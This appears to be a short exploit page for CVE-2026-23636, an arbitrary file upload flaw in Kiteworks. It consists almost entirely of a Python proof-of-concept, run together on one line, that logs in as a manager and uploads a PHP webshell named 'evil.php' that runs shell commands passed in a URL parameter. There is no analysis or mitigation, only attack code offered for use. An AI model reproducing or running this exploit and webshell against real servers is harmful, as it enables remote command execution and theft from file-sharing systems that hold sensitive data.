CVE-2026-23636 Kiteworks任意文件上传漏洞

import requests # Target configuration target_url = "https://target-kiteworks.com/api/forms/upload" login_url = "https://target-kiteworks.com/api/login" # Manager credentials (High Privilege Required) credentials = { "username": "manager_user", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate as manager print("[*] Attempting to login as manager...") auth_resp = session.post(login_url, json=credentials) if auth_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Prepare malicious file upload # Uploading a PHP webshell as a dangerous file type files = { 'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'formId': 'target_form_id' } # Step 3: Send payload print("[*] Uploading malicious file...") upload_resp = session.post(target_url, files=files, data=data) if upload_resp.status_code == 200: print("[+] File uploaded successfully. Check response for location.") print(upload_resp.text) else: print("[-] Upload failed.") if __name__ == "__main__": exploit()